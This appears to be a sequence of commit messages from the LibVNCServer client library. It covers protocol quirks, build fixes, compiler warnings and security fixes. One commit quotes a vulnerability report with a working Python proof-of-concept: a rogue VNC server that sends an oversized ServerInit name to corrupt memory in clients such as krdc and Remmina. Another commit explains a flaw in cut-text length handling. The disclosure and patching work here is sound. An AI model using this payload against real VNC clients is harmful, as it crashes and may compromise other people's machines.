It turns out some server implementations (namely VMware ESXi 6.5) expect
1 as the only non-zero value for the SetPixelFormat message whereas the protocol
states every non-zero value is valid
(https://github.com/rfbproto/rfbproto/blob/master/rfbproto.rst#setpixelformat).
Anyway, setting this to 1 shouldn't hurt.
Fixes #141
Since autotools officially is no longer supported (see various github
issues), drop the related infrastructure to stop tempting people to use
it for building.
Signed-off-by: Bert van Hall <bert.vanhall@gmx.de>
Treat openSSL data structures as opaque to achieve compatibility with
openSSL 1.1.x. While at it, fix order of cleaning up in
open_ssl_connection().
Signed-off-by: Bert van Hall <bert.vanhall@avionic-design.de>
The Ultra type tile decoder does not use the _safe variant of the LZO
decompress function, which allows a maliciuous server to overwrite parts of the
heap by sending a larger-than-specified LZO data stream.
Altough rfbproto.c does check whether the overall FramebufferUpdate rectangle is
too large, some of the individual encoding decoders do not, which allows a
malicious server to overwrite parts of the heap.
OS X RealVNC server crashes out Remmina because the server can provoke
bytesPerLine to be zero. Assume this is coding for zero lines.
The condition could be checked before the calculation of bytesPerLine.
I don’t understand the preconditions of this code to say one way or the
other.
https://www.gnupg.org/documentation/manuals/gcrypt/Initializing-the-library.html
"Before the library can be used, it must initialize itself.
This is achieved by invoking the function gcry_check_version"
Closes issue #45
Tested with krdc + libgcrypt 1.6.1 (libgcrypt20-dev Ubunutu package)
connecting to a Mac Mini.
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
On some systems pthread_mutexattr_settype() and PTHREAD_MUTEX_RECURSIVE are
not available by default.
Either _XOPEN_SOURCE or _POSIX_C_SOURCE needs to be set to to the right level
before including any system include file in order to have them exposed.
Fixes the following compile error:
==
tls_openssl.c: In function 'dyn_create_function':
tls_openssl.c:91:2: warning: implicit declaration of function 'pthread_mutexattr_settype' [-Wimplicit-function-declaration]
MUTEX_INIT(value->mutex);
^
tls_openssl.c:42:40: error: 'PTHREAD_MUTEX_RECURSIVE' undeclared (first use in this function)
pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\
^
tls_openssl.c:91:2: note: in expansion of macro 'MUTEX_INIT'
MUTEX_INIT(value->mutex);
^
tls_openssl.c:42:40: note: each undeclared identifier is reported only once for each function it appears in
pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\
^
tls_openssl.c:91:2: note: in expansion of macro 'MUTEX_INIT'
MUTEX_INIT(value->mutex);
^
tls_openssl.c: In function 'InitializeTLS':
tls_openssl.c:42:40: error: 'PTHREAD_MUTEX_RECURSIVE' undeclared (first use in this function)
pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\
^
tls_openssl.c:156:5: note: in expansion of macro 'MUTEX_INIT'
MUTEX_INIT(mutex_buf[i]);
^
tls_openssl.c: In function 'ssl_verify':
tls_openssl.c:177:7: warning: variable 'err' set but not used [-Wunused-but-set-variable]
int err, i;
^
tls_openssl.c:176:14: warning: variable 'client' set but not used [-Wunused-but-set-variable]
rfbClient *client;
^
make[3]: *** [tls_openssl.lo] Error 1
==
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
Fixes the following compiler warnings.
gtkvncviewer:
==
CC gtkvncviewer-gtkvncviewer.o
gtkvncviewer.c: In function ‘GtkDefaultLog’:
gtkvncviewer.c:591:2: warning: format not a string literal and no format arguments [-Wformat-security]
fprintf (stdout, buf);
^
==
libvncclient:
==
CC rfbproto.lo
In file included from rfbproto.c:2376:0:
zrle.c: In function 'HandleZRLE8':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile8' differ in signedness [-Wpointer-sign]
int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
#define CONCAT2(a,b) a##b
^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
static int HandleZRLETile(rfbClient* client,
^
In file included from rfbproto.c:2385:0:
zrle.c: In function 'HandleZRLE16':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile16' differ in signedness [-Wpointer-sign]
int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
#define CONCAT2(a,b) a##b
^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
static int HandleZRLETile(rfbClient* client,
^
In file included from rfbproto.c:2387:0:
zrle.c: In function 'HandleZRLE15':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile15' differ in signedness [-Wpointer-sign]
int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
#define CONCAT2(a,b) a##b
^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
static int HandleZRLETile(rfbClient* client,
^
In file included from rfbproto.c:2396:0:
zrle.c: In function 'HandleZRLE32':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile32' differ in signedness [-Wpointer-sign]
int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
#define CONCAT2(a,b) a##b
^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
static int HandleZRLETile(rfbClient* client,
^
In file included from rfbproto.c:2398:0:
zrle.c: In function 'HandleZRLE24':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24' differ in signedness [-Wpointer-sign]
int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
#define CONCAT2(a,b) a##b
^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
static int HandleZRLETile(rfbClient* client,
^
In file included from rfbproto.c:2401:0:
zrle.c: In function 'HandleZRLE24Down':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Down' differ in signedness [-Wpointer-sign]
int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
^
zrle.c:40:33: note: expected 'uint8_t *' but argument is of type 'char *'
#define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down)
^
rfbproto.c:2366:24: note: in definition of macro 'CONCAT3'
#define CONCAT3(a,b,c) a##b##c
^
zrle.c:40:24: note: in expansion of macro 'CONCAT3E'
#define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down)
^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
static int HandleZRLETile(rfbClient* client,
^
In file included from rfbproto.c:2404:0:
zrle.c: In function 'HandleZRLE24Up':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Up' differ in signedness [-Wpointer-sign]
int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
^
zrle.c:43:33: note: expected 'uint8_t *' but argument is of type 'char *'
#define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up)
^
rfbproto.c:2366:24: note: in definition of macro 'CONCAT3'
#define CONCAT3(a,b,c) a##b##c
^
zrle.c:43:24: note: in expansion of macro 'CONCAT3E'
#define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up)
^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
static int HandleZRLETile(rfbClient* client,
^
==
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
- Make h264.c compile with recent libva version by including va_compat.h
- Only enable libva if libva-x11 is installed
- Modified configure help text
Previous help text suggested libva was only build when --with-libva
was specified, while actual behavior is to build it by default.
Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server
Also no attempt is made to support platforms not using X11
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
This fixes the following oCERT report (oCERT-2014-008 pt.2):
There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.
Field Size
---------------------------------
name-length [4]
name-string [name-length]
Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.
I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.
Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.
import socket,struct,sys
HOST = ""
PORT = 5900
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)
conn,addr = c.accept()
print "Connected by ", addr
protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)
data = conn.recv(1024) # Receive the version from them.
secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)
data = conn.recv(1024) # Receive the secType choice from them.
secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)
data = conn.recv(1024) # Receive the ClientInit (Shared-flag).
frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM = 0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"
conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )
c.close()
Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]):
LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length
It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message.
case rfbServerCutText:
{
char *buffer;
if (!ReadFromRFBServer(client, ((char *)&msg) + 1,
sz_rfbServerCutTextMsg - 1))
return FALSE;
msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length
buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0
if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer
return FALSE;
buffer[msg.sct.length] = 0; << Attempt to write to buffer
if (client->GotXCutText)
client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer
free(buffer);
break;
}
If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0.
With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
emulation library which is the reason we did not need Windows-specific
hacks earlier). Happily, it is very easy to provide Windows-specific
emulations for the pthread calls we use.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Microsoft Visual C++ does not allow pointer arithmetic on void pointers.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>